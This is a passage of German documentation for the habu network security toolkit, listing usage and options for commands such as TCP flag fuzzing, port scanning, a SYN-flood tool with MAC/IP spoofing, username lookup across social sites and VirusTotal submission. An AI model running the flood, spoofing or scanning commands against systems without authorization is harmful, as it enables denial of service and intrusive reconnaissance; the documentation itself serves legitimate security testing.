Standardmäßig sendet der Befehl alle möglichen Flag-Kombinationen. Sie können angeben, welche Flags immer vorhanden sein müssen (was die Anzahl der möglichen Kombinationen reduziert), mit der Option '-f'.
Außerdem können Sie angeben, welche Flags in den Antwortpaketen enthalten sein sollen, die angezeigt werden sollen, mit der Option '-r'.
Mit dem nächsten Befehl sehen Sie alle möglichen Kombinationen, die das FIN (F)-Flag gesetzt haben und eine Antwort erzeugen, die das RST (R)-Flag enthält.
Beispiel:
# habu.tcp_flags -f F -r R www.portantier.com
FPA -> R
FSPA -> R
FAU -> R
Optionen:
-p INTEGER Zu verwendender Port (Standard: 80)
-f TEXT Flags, die immer gesendet werden müssen (Standard: Fuzz mit allen Flags)
-r TEXT Nach Antwort-Flags filtern (Standard: alle Antworten anzeigen)
-v Ausführlich
--first Bei erster passender Antwort anhalten
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.tcp.isn [OPTIONS] IP
Erstellt TCP-Verbindungen und gibt die TCP-Initialsequenznummern für jede aus.
$ sudo habu.tcp.isn -c 5 www.portantier.com
1962287220
1800895007
589617930
3393793979
469428558
Hinweis: Sie können eine grafische Darstellung (benötigt das matplotlib-Paket) mit der Option '-g' erhalten, um die Zufälligkeit besser zu verstehen.
Optionen:
-p INTEGER Zu verwendender Port (Standard: 80)
-c INTEGER Wie viele Pakete gesendet/empfangen werden sollen (Standard: 5)
-i TEXT Zu verwendende Schnittstelle
-g Grafik (erfordert matplotlib)
-v Ausführliche Ausgabe
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.tcp.scan [OPTIONS] IP
TCP-Port-Scanner.
Gibt die Ports aus, die eine Antwort mit dem SYN-Flag erzeugt haben oder (bei Verwendung von -a) alle Ports, die eine Antwort erzeugt haben.
Es ist wirklich einfach im Vergleich zu nmap, aber wer vergleicht schon?
Beispiel:
# habu.tcp.scan -p 22,23,80,443 -s 1 45.77.113.133
22 S -> SA
80 S -> SA
443 S -> SA
Optionen:
-p TEXT Zu verwendende Ports (Standard: 80) Beispiel: 20-23,80,135
-i TEXT Zu verwendende Schnittstelle
-f TEXT Zu verwendende Flags (Standard: S)
-s TEXT Zeit zwischen Sonden (Standard: alle zusammen senden)
-t INTEGER Timeout für jede Sonde (Standard: 2 Sekunden)
-a Alle Antworten anzeigen (Standard: Nur mit SYN-Flag)
-v Ausführliche Ausgabe
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.tcp.synflood [OPTIONS] IP
Startet eine große Anzahl von TCP-Verbindungen und hält sie offen.
Einige sehr alte Systeme können dadurch einen Denial of Service erleiden.
Referenz: https://en.wikipedia.org/wiki/SYN_flood
Beispiel:
# sudo habu.tcp.synflood 172.16.0.10
.................
Jeder Punkt ist ein gesendetes Paket.
Sie können die Optionen '-2' und '-3' verwenden, um die Layer-2/3-Adressen zu fälschen.
Wenn Sie sie verwenden, wird jede Verbindung von einer zufälligen Layer2- (MAC) und/oder Layer3- (IP) Adresse gesendet.
Sie können die Anzahl der zu erstellenden Verbindungen mit der Option '-c' wählen. Die Voreinstellung ist, nie mit dem Erstellen von Verbindungen aufzuhören.
Hinweis: Wenn Sie die Pakete von Ihrer echten IP-Adresse senden und die Verbindungen halboffen halten möchten, müssen Sie die Firewall so konfigurieren, dass sie keine RST-Pakete sendet.
Optionen:
-i TEXT Welche Schnittstelle verwendet werden soll (Standard: auto)
-c INTEGER Wie viele Pakete gesendet werden sollen (Standard: unendlich)
-p INTEGER Zu verwendender Port (Standard: 135)
-2 Layer2/MAC-Adresse fälschen (Standard: Nein)
-3 Layer3/IP-Adresse fälschen (Standard: Nein)
-v Ausführlich
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.traceroute [OPTIONS] IP
TCP-Traceroute.
Identifiziert den Pfad zu einem Ziel, indem die ttl-zero-during-transit-Nachrichten abgerufen werden.
Hinweis: Im Internet können verschiedene gültige Pfade zu einem Gerät führen.
Beispiel:
# habu.traceroute 45.77.113.133
IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
.
IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
.
IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding
Hinweis: Es ist besser, einen Port zu verwenden, der auf dem entfernten System offen ist.
Optionen:
-p INTEGER Zu verwendender Port (Standard: 80)
-i TEXT Zu verwendende Schnittstelle
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.upgrade [OPTIONS]
Aktualisiert habu (von https://github.com/fportantier/habu)
Optionen:
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.usercheck [OPTIONS] USERNAME
Überprüft, ob der angegebene Benutzername auf verschiedenen sozialen Netzwerken und anderen beliebten Seiten existiert.
$ habu.usercheck portantier
{
"aboutme": "https://about.me/portantier",
"disqus": "https://disqus.com/by/portantier/",
"github": "https://github.com/portantier/",
"ifttt": "https://ifttt.com/p/portantier",
"lastfm": "https://www.last.fm/user/portantier",
"medium": "https://medium.com/@portantier",
"pastebin": "https://pastebin.com/u/portantier",
"pinterest": "https://in.pinterest.com/portantier/",
"twitter": "https://twitter.com/portantier",
"vimeo": "https://vimeo.com/portantier"
}
Optionen:
-c Cache deaktivieren
-v Ausführliche Ausgabe
-w Jede gültige URL in einem Webbrowser öffnen
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.version [OPTIONS]
Optionen:
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.vhosts [OPTIONS] HOST
Verwendet Bing, um die auf derselben IP-Adresse gehosteten Websites abzufragen.
$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
'www.telefonica.es',
'universitas.telefonica.com',
'www.telefonica.com',
]
Optionen:
-c Cache deaktivieren
-p INTEGER Seitenanzahl (Standard: 10)
-f INTEGER Erstes abzurufendes Ergebnis (Standard: 1)
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.virustotal [OPTIONS] INPUT
Sendet eine Datei an VirusTotal https://www.virustotal.com/ und gibt den Bericht im JSON-Format aus.
Hinweis: Vor dem Senden einer Datei wird geprüft, ob die Datei bereits analysiert wurde (durch Senden des sha256 der Datei). Falls ein Bericht existiert, wird keine Übermittlung durchgeführt und der letzte Bericht angezeigt.
$ habu.virustotal meterpreter.exe
Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
Sending file for analysis
Waiting/retrieving the report...
{
"md5": "0ddb015b5328eb4d0cc2b87c39c49686",
"permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
"positives": 49,
"resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"response_code": 1,
"scan_date": "2018-05-20 21:11:57",
"scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
"scans": {
"ALYac": {
"detected": true,
"result": "Trojan.CryptZ.Gen",
"update": "20180520",
"version": "1.1.1.5"
},
... The other scanners ...
},
"sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
"sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"total": 67,
"verbose_msg": "Scan finished, information embedded"
}
Optionen:
-v Ausführliche Ausgabe
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.web.report [OPTIONS] [INPUT_FILE]
Erstellt einen Bericht, der HTTP-Header von Websites enthält.
Verwendet optional Firefox oder Chromium, um einen Screenshot der Websites zu erstellen.
Das erwartete Format ist eine URL pro Zeile.
Erstellt ein Verzeichnis namens 'report' mit dem Inhalt darin.
$ echo https://www.portantier.com | habu.web.report
Optionen:
-v Ausführliche Ausgabe
-s Einen Screenshot für jede Website erstellen
-b [firefox|chromium-browser] Browser für den Screenshot.
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.web.screenshot [OPTIONS] URL
Verwendet Firefox oder Chromium, um einen Screenshot der Website zu erstellen.
$ habu.web.screenshot https://www.portantier.com
Optionen:
-b [firefox|chromium-browser] Browser für den Screenshot.
-o TEXT Ausgabedatei. (Standard: screenshot.png)
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.whois.domain [OPTIONS] DOMAIN
Einfacher Whois-Client zum Überprüfen von Domainnamen.
Beispiel:
$ habu.whois.domain google.com
registrar MarkMonitor, Inc.
whois_server whois.markmonitor.com
creation_date 1997-09-15 04:00:00
expiration_date 2028-09-14 04:00:00
name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com
emails [email protected], [email protected]
dnssec unsigned
org Google LLC
country US
state CA
Optionen:
--json Ausgabe im JSON-Format
--csv Ausgabe im CSV-Format
--help Diese Meldung anzeigen und beenden.
.. code-block::
Usage: habu.whois.ip [OPTIONS] IP
Einfacher Whois-Client zum Überprüfen von IP-Adressen (IPv4 und IPv6).
Beispiel:
$ habu.whois.ip 8.8.4.4
asn 15169
asn_registry arin
asn_cidr 8.8.4.0/24
asn_country_code US
asn_description GOOGLE - Google LLC, US
asn_date 1992-12-01
Optionen:
--json Ausgabe im JSON-Format
--csv Ausgabe im CSV-Format
--help Diese Meldung anzeigen und beenden.
crypto.fernet <#habucryptofernet>_crypto.fernet.genkey <#habucryptofernetgenkey>_crypto.gppref <#habucryptogppref>_crypto.hasher <#habucryptohasher>_crypto.xor <#habucryptoxor>_data.enrich <#habudataenrich>_data.extract.domain <#habudataextractdomain>_data.extract.email <#habudataextractemail>_data.extract.fqdn <#habudataextractfqdn>_data.extract.ipv4 <#habudataextractipv4>_data.filter <#habudatafilter>_data.select <#habudataselect>_dhcp.discover <#habudhcpdiscover>_dhcp.starvation <#habudhcpstarvation>_dns.lookup.forward <#habudnslookupforward>_dns.lookup.reverse <#habudnslookupreverse>_eicar <#habueicar>_forkbomb <#habuforkbomb>_fqdn.finder <#habufqdnfinder>_gateway.find <#habugatewayfind>_host <#habuhost>_http.headers <#habuhttpheaders>_http.options <#habuhttpoptions>_http.tech <#habuhttptech>_icmp.ping <#habuicmpping>_ip.asn <#habuipasn>_ip.geolocation <#habuipgeolocation>_ip.internal <#habuipinternal>_ip.public <#habuippublic>_karma <#habukarma>_karma.bulk <#habukarmabulk>_land <#habuland>_nc <#habunc>_net.contest <#habunetcontest>_net.interfaces <#habunetinterfaces>_nmap.excluded <#habunmapexcluded>_nmap.open <#habunmapopen>_nmap.ports <#habunmapports>_protoscan <#habuprotoscan>_server.ftp <#habuserverftp>_shodan <#habushodan>_shodan.query <#habushodanquery>_tcp.flags <#habutcpflags>_tcp.isn <#habutcpisn>_tcp.scan <#habutcpscan>_tcp.synflood <#habutcpsynflood>_traceroute <#habutraceroute>_upgrade <#habuupgrade>_usercheck <#habuusercheck>_version <#habuversion>_vhosts <#habuvhosts>_virustotal <#habuvirustotal>_web.report <#habuwebreport>_web.screenshot <#habuwebscreenshot>_whois.domain <#habuwhoisdomain>_whois.ip <#habuwhoisip>_